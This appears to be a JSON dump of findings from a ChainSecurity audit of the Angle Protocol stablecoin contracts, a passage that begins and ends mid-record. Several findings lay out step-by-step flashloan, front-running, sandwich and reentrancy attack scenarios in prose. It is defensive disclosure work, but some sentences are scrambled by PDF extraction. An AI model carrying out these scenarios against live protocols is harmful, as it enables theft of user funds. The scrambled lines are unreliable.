for hedging agents. Acknowledged: However, it was concluded that not further slippage protection for standard liquidity providers is necessary. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.3 Problematic Revocation of a Collateral", "body": " StableMaster allows for revokeCollateral() to be called by the governance. That transfers all the funds of the pool manager to a settlement contract. Afterwards users can make claims for withdrawing from the settlement contract. However, some user may lose. This issue attempts to highlight two key points: (I). While this function is part of the emergency shutdown process of a stablecoin, this function can also be called on a single collateral only. In both situation following scenario (simplified that no HAs exist) which is mentioned in the documentation may occur: 1. revokeCollateral() gets called on a pool with 1000 WETH. 1 WETH is worth 1000 USD. 100 WETH-SanTokens are minted and have value of 200 WETH. The pool manager transfers his balance to the settlement contract. 2. CollateralSettler.triggerSettlement() is executed. The amount to redistribute is the balance of the settlement contract. All the rates are frozen. 3. SLPs claim their collateral. totalLpClaims increases. 4. A day before the claiming period ends, the price of WETH doubles. 1 WETH is worth 2000 USD now in the current markets. 5. Many users see the bargain and start claiming WETH for their AgUSD. Angle - Angle Protocol - 14 SecurityMediumVersion1CodePartiallyCorrectedAcknowledgedDesignMediumVersion1CodePartiallyCorrected \f6. The claiming period ends. The claim of stable holders is 1000 WETH. The claim by SLPs is 200 WETH. 7. The WETH will be distributed only to stable holders. SLPs do not receive anything. The documentation specifies this behaviour. However, it highly concerning for SLPs and HAs. Anybody with enough capital could take their investments into the protocol. (II). Furthermore, SLPs and HAs could the funds revokeCollateral() call. The pools balance could be moved to another pool using a flashloan and an external exchange. Then, the revokeCollateral() call will be executed but close to nothing would be transferred to the settlement contract and SLPs and HAs will not be able to receive their funds. if an attacker decides frontrun lose to Code partially corrected: Different changes have been made: As stocksUser now tracks the amount of created stable coins it can also be used to limit the claims. The oracle value is queried at the end of the claim period to reduce issues due to price fluctuation. Lastly, the front-running issue will be partially mitigated through pausing, but as in comparable systems cannot be entirely avoided. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.4 Inputs for Triggering Settlement", "body": " When the StableMaster contract triggers a settlement on the CollateralSettler contract it passes the current sanRate along. During this process any queued lockedInterests that were supposed to be added to the sanRate later are ignored. Hence, the sanRate is not entirely correct. Risk Accepted: Angle replied: We decided to leave it as is. lockedInterests supposed to be added to the sanRate remain ignored. It could be a vector of attack to include these interests to SLPs. If trigger settlement was to be activated, then this means that governance failed to maintain the pool in a healthy way, and in this situation, interests should not be distributed to SLPs (we expect that there will also be fees aside) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.5 Removing From Perpetual Potentially", "body": " Impossible When a perpetual position develops well and its margin has significantly increased, users might decide to remove some of the margin through the removeFromCollateral function. However, if the amount of collateral to be removed exceeds the initially set margin, this removal is not allowed, even though it might not violate any of the system restrictions such as maximum leverage: Angle - Angle Protocol - 15 CorrectnessLowVersion2RiskAcceptedDesignLowVersion2Acknowledged \frequire( ... (amount < perpetual.margin) && Acknowledged: Angle replied: In fact the margin of a perpetual never increases if the perpetual develops well: the margin is the initial amount of collateral in the perpetual, and this does not evolve with price. If we allowed HAs to remove more than their margin in case of price increase, we would be back to the situation we had before your audit where we also update the oracle value, and what we called the cashOutAmount at each perpetual update. For the HA to get more collateral than the margin, position should be cashed out ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.6 Sandwich Attacks Against harvest", "body": " Invocations The harvest functions of certain strategies, e.g., GenericAave, are susceptible to sandwich attacks. As these harvest functions can be called by anyone and perform a token sale, the following attack is possible: An attacker contract manipulates the relevant Uniswap pools That attacker contract calls the harvest function of one of the strategies, which triggers a Uniswap trade The attacker contract arbitrages the Uniswap pools to benefit from the previous trade In the currently present strategies, such attacks are limited to the reward tokens. Risk accepted: Angle replied: We forked these strategies from Yearn, we have hence decided to keep it as is, and we are aware of this risk. It is important to note that to mitigate such attacks, however costly it is, the harvest function needs to be called pretty regularly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.7 HA Fees May Exceed 100%", "body": " There are no limitations for the values of haBonusMalusDeposit or haBonusMalusWithdraw. These can be set arbitrarily by the Guardian / Governor in the FeeManager and are later propagated to the PerpetualManager. Inside the PerpetualManager, the fee for HAWithdraw is calculated as follows: haFeesWithdraw = (haFeesWithdraw * haBonusMalusWithdraw) / BASE; return (amount * (BASE - haFeesWithdraw)) / BASE; Angle - Angle Protocol - 16 SecurityLowVersion2RiskAcceptedDesignLowVersion1RiskAccepted \fIn case haFeesWithdraw exceeds BASE the transaction will revert and the withdrawal is blocked. The same applies for HADeposit accordingly. Risk accepted: Angle replied: No specific change has been made for that, if this situation happens, then the transaction will fail anyway and there is no need to add a require for that. We thought of adding a require in the setters of the fees to make sure that fees will never be able to be bigger than 100% (especially for users minting/burning fees), but we decided not to do it. The reason is that our fees are of the form f(x)g(y), with 0 <= f(x) <= 1. Therefore it may happen that for some value of the y parameters, you have g(y) > 1, and for some couples (x,y), you have f(x)g(y)>1. We do not want to enforce that the product is always <1. In our case, the evolution of the bonusMalus (depending on the collateral ratio for users) and the evolution of the fees computed using the coverage curve are different. It is possible that the product in the max element in the array yBonusMalusMint and in the array yFeeMint are superior to BASE but that this situation is never observed in practice because the evolution of the collateral ratio is not correlated to the evolution of the coverage curve. Governance will still have to be wary and to make sure when setting these parameters that even though a situation where f(x) g(y)>1 can happen in theory, it will never happen in practice. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.8 Small Perpetual Position, Too Low Keeper", "body": " Incentive The system enforces no minimum amount for a perpetual position and corresponding minimum fee paid. The reward / incentive for a keeper to liquidate a perpetual that meets the condition to be liquidated respectively to be forcefully cashed out is a part of fees paid by this perpetual. The incentive for keepers must at least cover their transaction costs. As no minimum amount for a perpetual (hence keeper fee) is enforced, perpetuals bringing a small amount of collateral to the system and hence paying a small fee may not be liquidated as the reward exceeds the keeper's transaction fees. Risk accepted: Angle replied: Although we slightly changed the keeper incentives (as a portion of the cashOutAmount at the time the perpetual is cashed out), we decided not to have a minimum position or a minimum incentive for keeper. If the incentives are too low, we will do it ourselves, even if it implies loosing money on it. Another thing we think about implementing is an off-chain reward mechanism based on on-chain verifiable data. This way we/our community could reward keepers which performed actions for which they did not make a profit but that were still helpful for the protocol. We could also upgrade our smart contracts to arrive to the solution you propose (minimum incentive for keeper coupled with a minimum position - you cannot do one without the other otherwise you may be subject to attacks). Angle - Angle Protocol - 17 SecurityLowVersion1RiskAccepted \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 4 15 32 -Severity Findings -Severity Findings Burning AgTokens in BondingCurve Does Not Update stocksUsers Collecting Keeper Fees, Closing Perpetuals Incorrect Maximum Collateral Amount Untracked Bad Debt / System Health -Severity Findings Everybody Can Pause Pools Incorrect Check During removeFromPerpetual Incorrect Handling of profitFactor Potentially Incorrect Strategy Report Reentrancy When Creating Perpetual Position Adding to Unhealthy Perpetual Liquidates and Consumes New Collateral Broken/Partial ERC165 Support Conversion of Locked Interest to SanRate in the Same Block* Governance Not Fully Propagated Guardian Cannot Be Managed by Guardian Incorrect Cash Out Amount Non 18 Decimals Protocol Tokens Unaccounted Collateral, Unrestricted updateStocksUsersGov() Unit Errors for Tokens With Decimals Different Than 18 safeApprove Not Used, USDT Not Supported -Severity Findings BondingCurve Specification Mismatches Gas-inefficient Strategies Inefficiency in Binary Search No Slippage Protection in BondingCurve Reference Coin Changes May Affect the Bonding Curve Specification Mismatch in Strategy StableMaster Might Be Unnecessarily Paused Cache Value Instead of Reading From Storage Consistency Checks for Oracles Missing Angle - Angle Protocol - 18 CriticalHighCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrected \f Different Calculation of Cashout Fees Double Getters Enhance Check During Deployment of Collateral Events Missing Gas Inefficiencies When Removing From List Gas Inefficiencies When Searching Lists Governance Changes Inconsistencies Between Staking Contract Inconsistent Parameters in RewardsDistributor Possible Incorrect Comment Inefficient Structs No Check if onERC721Received Is Implemented No Checks Performed in Constructor Outdated Compiler Version Overhead Due to Loading Struct Into Memory Possibly Failing Assert Potential Confusing readLower(uint256 lower) Reward Token Issues Specification Mismatch in OracleMath Unnecessary Double Checks Updated SanRate When Converting to SLP Wrong Incentive for Which Perpetuals to Forcefully Cash Out capOnStablecoin May Be Violated by Guardians ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.1 Burning AgTokens in BondingCurve Does Not", "body": " Update stocksUsers The BondingCurve contract allows users to buy tokens (most likely Angle tokens). To receive tokens from the BondingCurve, AgTokens get burned according to the bonding curve price. This may significantly reduce the amount of AgTokens minted and improve the protocol health. However, no stocksUsers variable is updated. Several issues may arise regarding such accounting issues. For example, the coverage ratio of the protocol may be much higher than the one indicated and the system create bad debt through that mismatch. Note that regular burn operations also do not update the stocksUsers variable. When buying tokens the AgTokens are transferred to the bonding curve contract and not burned. and Governance BondingCurve.recoverERC20 functions make use can of Angle - Angle Protocol - 19 CodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedAcknowledgedCodeCorrectedCorrectnessHighVersion2CodeCorrected \fAgToken.burnNoRedeem which calls StableMaster.updateStocksUsers to transfer AgTokens to itself and burn them while updating the stocks users for a specified pool manager. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.2 Collecting Keeper Fees, Closing Perpetuals", "body": " Should the maximum covered amount of collateral be exceeded, anyone can forcefully cash out any perpetual in order to bring the amount of covered collateral back below the limit. However this can be abused as one can manipulate the amount of collateral to be covered. Assume a working StableMaster issuing AgUSD with several collateral pools like USDC, DAI and WETH. There is a decent amount of liquidity provided by standard liquidity providers and the coverage ratio of the pools is around 80% with a limit at 90%. Many perpetuals of different sizes exist. An arbitrary attacker can now do the following: 1. Either the Attacker has funds available or borrows them using a flashloan 2. These funds are exchanged into AgUSD on a third party exchange 3. These AgUSD are now burned for the collateral under attack. 4. Burning the AgUSD tokens increases the collateralization ratio for this collateral as collateral is withdrawn. The attacker does this at least until the coverage limit is exceeded. 5. The attacker is now able to forcefully cash out perpetuals until the amount covered is below the limit. While forcefully cashing out perpetuals the attacker collects the fees. 6. Pay back the flashloan using the collateral. This attack is profitable when the transaction, flashloan and burn fees are below the keeper reward collected for closed perpetuals. As keeper fees for each perpetual have to cover for the transaction base fees (as they may have to be closed individually by keepers due to reaching the cashout leverage) the collected rewards likely exceed the fees when the attacker manages to forcefully cash out multiple perpetuals during this action. The new fee structure rewards keepers reaching the targeted coverage ratio. Moreover, the keeper reward is capped such that the profit of the keeper is lower than the estimated cost of the flash loan needed for such an attack. For more information see the description of System Accounting. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.3 Incorrect Maximum Collateral Amount", "body": " The function _testMaxCAmount computes the \"Maximum amount of collateral that can be insured\". This is computed as follows: 1. The stocksUsers variable is queried from the StableMaster contract. 2. The amount of minted stable coins is queried from the StableMaster contract and converted into a collateral amount using the current rate. 3. The smaller of the two values above is multiplied with maxALock (the maximum percentage to be insured) and then returned. Both of these values are sometimes incorrect and hence shouldn't be used for the calculation: 1. stocksUsers is defined as: Angle - Angle Protocol - 20 SecurityHighVersion1CodeCorrectedCorrectnessHighVersion1CodeCorrected \f// Amount of collateral in the reserves that comes from users // + capital losses from HAs - capital gains of HAs Due to the capital losses and capital gains it might be bigger or smaller than needed for the present calculation. Consider the following example: After a late liquidation stocksUsers = 15 ETH, with a rate of 500, but previously 10,000 stable coins have been minted. The system needs to insure 20 ETH, but would return 15 ETH * maxALock. 2. The amount of minted stable coins can only be used for this calculation if only a single collateral is used for this stable coin. However, multiple collaterals might be available to mint this stable coin and hence the system would calculate an incorrect amount of insurable collateral. Now, the stocksUsers variable represents the amount of stablecoins minted per collateral and the system separates the stable coins minted against different collaterals. For more information see the description of System Accounting. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.4 Untracked Bad Debt / System Health", "body": " A stablemarket attempts to keep the equilibrium between the positions of stable seekers and hedging agents. At times the attempt to keep the equilibrium may not be successful: Should they price of a collateral decrease too fast and keepers can't or don't forcefully cash out bad perpetuals in time, the situation arises where the collateral put up by the perpetual evaluated at the current rate can no longer cover its committed amount at the rate the perpetual has been created. In this case the perpetual is liquidated leaving bad debt to the system. Should the collateral of the stablecoin not be fully covered at all times (This means the collateral brought by stable seekers equals the amount covered by the hedging agents), 2 kinds of bad debt can occur: Coverage of the collateral is less than 100% and the price of the collateral decreases from x to y: For the uncovered collateral stablecoins have been minted a the higher collateral price x. Now the value of the collateral dropped to y. The minted stablecoins are now only partially covered by the value of the collateral. Note that should a new Hedging Agent now enter the system and covers some more of the collateral, this is done at the current exchange rate, not the rate used to mint the stablecoin. At this point the virtual loss of the system is converted into actual bad debt of the system. Vice versa, should the price of uncovered collateral increase the system makes a profit. Coverage of the collateral is more than 100% and the price of a collateral increases. (Note that this cannot happen if maxALock is set to less than 100%) Here profits made by Hedging Agents would exceed the increase in value of the collateral held by the system to back the minted stablecoins. This loss is taken by the system. Overall bad debt is neither tracked nor handled otherwise. If possible it could be accounted for and compared with what is currently called \"system surplus\" which includes the fees collected and other gains made by the system. No functionality to query the health of the system exist. Such information however is vital for all users investing funds into the system. Angle - Angle Protocol - 21 DesignHighVersion1CodeCorrected \f The new stocksUsers enables to keep better track of the current system health and the bad debt. However, these computations need to be performed off-chain, e.g., in the front-end. For more information see the description of System Accounting. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.5 Everybody Can Pause Pools", "body": " In the second version of the code, a pool will be paused, if during a user's burn, the amount of AgTokens to be burned is higher than the stocks users of the collateral. However, there is no check whether the user actually owns the necessary amount of AgTokens. Thus, any user can specify a high amount to burn to pause the contract. The pool will remain paused until the governance unpauses this change. Malicious parties could act as follows: Stableholders: In case of expected collateral price drop can pause to make HAs and SLPs lose. SLPs: A SLP providing much liquidity in a state with much HA capital could pause the contract to keep other SLPs from entering the protocol so that his profit is maximized. HAs: HAs can front-run liquidations and force-cashouts by pausing the contract. Ultimately, that could lead to a highly unbalanced state. In conclusion, anybody can pause the protocol at any time. Such actions could be profitable for the parties and could throw the system into an unhealthy state if they are executed repeatedly. When the amount of AgTokens burned exceeds the stocksUsers, the transaction reverts instead of pausing the contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.6 Incorrect Check During ", "body": " removeFromPerpetual The function removeFromPerpetual contains the following check: // Withdrawing collateral should not make the leverage of the perpetual too important perpetual.committedAmount * BASE_PARAMS <= (perpetual.margin - amount) * maxLeverage, The maxLeverage check is performed based on perpetual.margin - amount, however, in case the cashOutAmount < perpetual.margin then this check underestimates the actual leverage. Hence, a perpetual above the leverage limit might go undetected. Now, an additional check was added to ensure that the new cashout amount is not exceeded. Angle - Angle Protocol - 22 DesignMediumVersion2CodeCorrectedDesignMediumVersion2CodeCorrected \f7.7 Incorrect Handling of profitFactor The profit factor serves to reduce the profit keepers can make from calling harvest. Thus, following condition occurs: profitFactor * rewardAmount < want.balanceOf(address(this)) + profit This condition needs to be fulfilled for a reward payment to be made and is hence quite important. Incorrectly, the condition is unaware of the decimals of the tokens since profitFactor is initialized to be 100 for any pair. Moreover, it is unaware of the prices of the tokens. The decimal unawareness may cause the following behaviour: Assume the reward token is USDC (6 decimals) and the want token is DAI (18 decimals). The condition will almost always pass since profit factor does not account for the base differences between the tokens. Assume the reward token is DAI (18 decimals) and the want token is USDC (6 decimals). Then, this condition will almost never pass to since the reward amount will already be much larger than the right-hand-side. The price unawareness may cause the following behaviour: Assume the reward token is AgEUR and one strategy's want token is DAI while for the second one the want token is WETH. If now both strategies have similar balances and profits (when converted to USD), they will still be treated very differently. To conclude, inconsistencies in the keeper reward payouts between strategies could occur since the above condition is unaware of the decimal representation and prices of the tokens. profitFactor has been removed. Now, a minimum amount minimumAmountMoved denotes how much needs to be at least in the contract plus the profits. Also, this amount and the reward amount are set jointly now to prevent errors. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.8 Potentially Incorrect Strategy Report", "body": " Calling the harvest function on a strategy contract may result in a bad report to the pool manager. If the reward token the keepers receive is equal to the want token of the strategy, then the transfer to the keeper can be successful even though no specific allocation of funds to the strategy for the rewards was made. Incorrectly, the keeper's fee will still be part of the reported profit as the profit is computed beforehand and not adjusted. In the constructor of the strategy it checked that want and reward token are not the same. Angle - Angle Protocol - 23 CorrectnessMediumVersion2CodeCorrectedCorrectnessMediumVersion2CodeCorrected \f7.9 Reentrancy When Creating Perpetual Position When creating a new perpetual position there is a possibility for a reentrancy attack. During the mint() operation of the token a callback is triggered that can be used for a reentrancy attack. Among other things, possible consequences of such an attack could be: that the coverage exceeds the expected values that a non-liquidatable perpetual exists that a mismatch between NFTs and positions exists The call to _mint() is done after all state changes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.10 Adding to Unhealthy Perpetual Liquidates", "body": " and Consumes New Collateral addToPerpetual() allows a hedging agent to increase the cash out amount of the perpetual. Should a hedging agent attempt to add collateral to an unhealthy perpetual, the perpetual is liquidated while the collateral amount intended to increase the position is transferred to the pool manager contract without being accounted for. Unaware users are at risk, especially as a hedging agent may attempt to increase the collateral of a position which is just short of being liquidated. Any oracle update now may change the situation and the perpetual can be liquidated while the hedging agent loses his added collateral to the pool manager. Attempting to add collateral to an unhealthy perpetual results in the perpetual being liquidated, which is intended. In this case, the new collateral amount however is no longer transferred to the pool manager in the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.11 Broken/Partial ERC165 Support", "body": " Through inheritance, mostly when inheriting AccessControl or AccessControlUpgradable multiple contracts inherit ERC165. This contract implements the ERC165 standard which defines a standard method to publish and detect what interfaces a smart contract implements. function supportsInterface(bytes4 interfaceID) external view returns (bool); The more derived contracts of Angle with the exception of the PerpetualManager contract, that does it partially, do not expand or overwrite this function. Hence, their functionality is not included and supportedInterface() will not return true for the public/external functions they implement. Angle - Angle Protocol - 24 SecurityMediumVersion2CodeCorrectedDesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fEither the more derived contracts should implement this function in order to make complete the ERC165 functionality or if this is not required, overwrite supportsInterface() with an empty function which would even slightly reduce the contract's code size. Angle forked the code of AccessControl and AccessControlUpgradaeable and removed the ERC165 support. The only contract which implements the ERC165 interface is the PerpetualManager as it emits the perpetual futures as ERC721-NFTs. The supportsInterface function will return true for all interfaces it implements. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.12 Conversion of Locked Interest to SanRate in", "body": " the Same Block* *While the review was ongoing Angle informed us about this issue independently in parallel. _updateSanRate() consists of two parts: In the first half the locked interest accrued in previous blocks are added to the sanRate while in the second part the new amount of tokens to be distributed are added to the locked interests. These should be distributed in the next block this function is executed. lastBlockUpdated however is only updated if some of the locked interest where added to the sanRate in this block. This leads to following corner case when _updateSanRate() is executed: In case there are no locked interest to distribute, lastBlockUpdated is not updated to the current block.timestamp but rewards to be distributed are added to lockedInterests. However a second call to _updateSanRate() will now convert these lockedInterests and add them to the sanRate before updating lastBlockUpdated blocking a future update in this same block. The sanRate is updated upon collection of profit from strategies or when a part of the fees for stable seeker is distributed to standard liquidity provider. The profit from strategies can be attacked as follows: At a time where lockedInterests is equal to zero and a strategy has a significant amount of rewards to collect, the attacker executes the following steps: Deposits a large amount of collateral (e.g. acquired through a flashloan) for San Tokens. While updateSanRate() is called, this currently has no effect as lockedInterests is equal to zero and the amount to distribute is 0, so lockedInterests remains zero. Call harvest() on the Strategy. This collects the profit and executes _updateSanRate(). As currently no locked interests are to be distributed, the first part is skipped and lastBlockUpdated` remains unchanged. In the second part the lockedInterests to be distributed in the future are updated. Withdraw the collateral by burning the san tokens. _updateSanRate() is executed once again, this times with lockedInterests being nonzero the sanRate is now actually updated and lastBlockUpdated is set to the current block. Hence the user can withdraw more collateral than deposited. This may be abused to drain the profit of the strategy. Note that this is a rough description only and the actual execution of this attack is a bit more complicated: In order to extract most of the protocols interest more calls will be needed than described above. As the initial deposit() by the attacker will have significantly increased the amount of total assets available to Angle - Angle Protocol - 25 SecurityMediumVersion1CodeCorrected \fthe PoolManager, the PoolManager will push a lot of funds into the strategy during the call to report (in order to keep the planned debtRatio). Hence the withdraw() cannot really withdraw sufficient amounts. Multiple calls with carefully crafted arguments to withdraw() and harvest() are necessary to complete the attack successfully and repay the flashloan. lastBlockUpdated is now updated each time updateSanRate() is executed, this prevents the issue described above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.13 Governance Not Fully Propagated", "body": " The documentation specifies the following: The Core contract has the ability to add a new governor or remove a governor from the system and propagate this change across all underlying contracts of the protocol. Similarly, the Core contract should propagate guardian changes. However, that is not the case for some contracts. For example, the changes are not propagated to OracleMulti or RewardsDistributor. That mismatches the specification. Fortunately, the governance can use functions grantRole() and revokeRole() to perform the changes jointly with the functions from Core. Specification changed: The documentation has been updated and now describes how the governance change propagates from the Stablemaster. Additionally the code of the core contract now contains following comment: Keeps track of all the StableMaster contracts and facilitates governance by allowing the propagation include oracle contract, of changes across most contracts of RewardsDistributor, and some the protocol (does not ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.14 Guardian Cannot Be Managed by Guardian", "body": " The documentation specifies the following: The guardian is indeed able to transfer its power to another address or to revoke itself. However, that is not possible. Core functions setGuardian and revokeGuardian call the inherited grantRole() and revokeRole(). The administrator of the guardian role is the governor role. Thus, the calls grantRole() and revokeRole() would fail since the guardian is not allowed to access these and the guardian cannot set or revoke guardians. Access control has been reimplemented. In the new implementation the guardian can transfer its power to another address or revoke itself. Angle - Angle Protocol - 26 CorrectnessMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1CodeCorrected \f7.15 Incorrect Cash Out Amount Existing perpetual positions can be updated. Any perpetual position that is modified through addToPerpetual or removeFromPerpetual results in the wrong cashOutAmount. Please consider the following example in which all transactions happen shortly after each other. Hence, we assume that the oracle prices do not change and are 1000 and 1125 respectively. Please note that changing oracle prices can make the problem worse. We will also ignore fees in this example. 1. A new position is created and its cashOutAmount = 10 ETH, while committedAmount = 20 ETH. The initialRate = 1125. 2. The position is updated through addToPerpetual and 1 ETH is added. The new committed amount is calculated as 20 ETH * 1125 / 1000 = 22.5 ETH. Hence the new cashOutAmount is calculated as 20 ETH + 10 ETH - 22.5 ETH + 1 ETH = 8.5 ETH. The initialRate remains 1125. 3. The user performs a cash out using cashOutPerpetual. The newly committed amount is calculated as 20 ETH * 1125 / 1000 = 22.5 ETH. Hence the new cashOutAmount is calculated as 20 ETH + 8.5 ETH - 22.5 ETH = 6 ETH. Therefore, the user receives 6 ETH, despite depositing 11 ETH. In short, whenever the oracle rates significantly deviate from each other, users can lose significant value. This issue can grow in severity with fees, repetitive operations and price fluctuations. This issue has been addressed by only storing the initial rate. Hence, errors can no longer accumulate with the number of actions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.16 Non 18 Decimals Protocol Tokens", "body": " The documentation states: Decimals To be consistent with the BASE chosen when computing numbers, it has been decided that all the ERC20 tokens created by the Angle protocol would involve 18 decimals. Although this is not specified anywhere in the code, this means that the base for agTokens and sanTokens is 18. The decimal of the sanToken however is set equal to the decimal of the underlying collateral. For collaterals with decimals different than 18, the sanTokens decimal will not be equal to 18. function initialize( string memory name_, string memory symbol_, address poolManager ) public initializer { __ERC20Permit_init(name_); __ERC20_init(name_, symbol_); stableMaster = IPoolManager(poolManager).stableMaster(); decimal = IERC20MetadataUpgradeable(IPoolManager(poolManager).token()).decimals(); } Angle - Angle Protocol - 27 CorrectnessMediumVersion1CodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChanged \fSpecification changed: The developer documentation will be changed to accurately reflect this. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.17 Unaccounted Collateral, Unrestricted ", "body": " updateStocksUsersGov() Function updateStocksUsersGov of a stablemaster contract allows the Guardian / the Governance to update col.stocksUsers arbitrarily. There are no checks at all, e.g. whether the update respects the actual amount of free collateral available. This variable is described as: // Amount of collateral in the reserves that comes from users // + capital losses from HAs - capital gains of HAs While col.stocksUsers is updated as described during the actions of stable seekers and hedging agents an additional function updateStocksUsersGov exists allowing the Guardian / the Governance to change this variable arbitrarily. Amongst others, this function is annotated with Updates the `stocksUsers` for a given collateral to allow or prevent HAs from coming in This function can typically be used if there is some surplus that can be put in `stocksUsers`. The system surplus arises due to the fees collected by the system. When minting or burning stablecoin only a part of the fee collected is incorporated into the sanrate. The rest remains as surplus collateral in the poolmaster contract. When creating or cashing out a perpetual a fee is taken. This fee collected resides in form of unaccounted for collateral at the poolmaster. A part of the fee must be set aside while the perpetual is active as it may be needed to pay the keeper slashing this perpetual. Note that not all balance of the collateral token held by the poolmaster is available to use freely. Some of this balance may belong to standard liquidity providers. Overall there is no automatic accounting of the fees collected, the system rather relies on a manual update where the caller can freely specify the parameter. The description of the function hints that the function may be used to steer whether to allow/prevent more HAs from coming in. Note this can also steer whether perpetual can be cashed out forcefully. Allowing the update of this value without any checks may let the system reach an incorrect state. The function name was changed to rebalanceStocksUsers. It reduces the stocksUsers of one collateral and adds it to another one. However, the cap for the maximum stocks users value cannot be exceeded with this operation. Hence, the number of stablecoins minted in total stays the same. For more information see the description of System Accounting. Angle - Angle Protocol - 28 CorrectnessMediumVersion1CodeCorrected \f7.18 Unit Errors for Tokens With Decimals Different Than 18 Perpetuals earn a reward in form of governance tokens. Additionally the staking contract may allow AgToken and SanToken to be staked in order to earn governance tokens. For both, the calculation of the reward does not work correctly for collaterals with decimals different than 18. Using the example of the PerpetualManager, the reward per committed collateral token of the perpetual is calculated as follows: function _rewardPerToken() internal view returns (uint256) { if (totalCAmount == 0) { return rewardPerTokenStored; } return rewardPerTokenStored + ((_lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * BASE) / totalCAmount; } and function _earned(uint256 perpetualID) internal view returns (uint256) { return (perpetualData[perpetualID].committedAmount * (_rewardPerToken() - perpetualRewardPerTokenPaid[perpetualID])) / BASE + rewards[perpetualID]; } The governance token, the angle token has 18 decimals. Hence rewardPerTokenStored and the returned value of _rewardPerToken() should be in 18 decimals as well for the calculation in _earn() to work correctly. In both calculations however, BASE is used as unit instead of the actual base of the collateral. As a consequence, the calculation breaks for tokens not having 18 decimals. Now, the calculations are done correctly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.19 safeApprove Not Used, USDT Not", "body": " Supported some Since not all ERC-20 tokens adhere to the standard, it is recommended to use safeApprove such that interactions with a broader range of tokens are possible. Especially, this is important since interactions with function _changeTokenApprovalAmount in PoolManagerInternal.sol a simple approve call is made with regards to the underlying pool tokens. As this method is used during the deployment of some collateral to give infinite approval to the perpetual manager and the stable master, this means that USDT pools cannot be deployed. safeApprove. However, tokens, require USDT, e.g. in Angle - Angle Protocol - 29 CorrectnessMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fThe new version of the code now uses either safeApprove or safeIncreaseAllowance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.20 BondingCurve Specification Mismatches", "body": " There are several mismatches between the implementation of BondingCurve and its documentation. Examples are: The power parameter is fixed in the implementation. However, it is not stored anywhere but instead the formulas have been implemented assuming power to be two. In contrast, the specification states only that power should be strictly greater than one. The documentation specifies that the guardian should have the same powers as the governors with the exception of recovering tokens. Moreover, the code is divided in different sections. changeOracle() is in the guardian role section. Both documentation and code structuring imply that this function should be callable by the guardian. However, only governors can call this function. The inconsistencies may confuse users. The specification has changed for the power parameter while the code has been corrected to restrict the guardian's power. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.21 Gas-inefficient Strategies", "body": " The gas consumption of the strategies could reduced by reducing the storage reads. Some examples of inefficiencies in the strategies are: _estimateAdjustPosition: the element with the highest and the element with the lowest APR are searched. The code iterates through the lenders array twice and always reads from storage. Storage reads could be reduce by a factor of two. _removeLender: lenders[i] is read first in the if condition and then in the first line of the if body. _withdrawSome: in the while loop the for loop reads always from storage, hence wasting gas. Gas consumption has been reduced for the functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.22 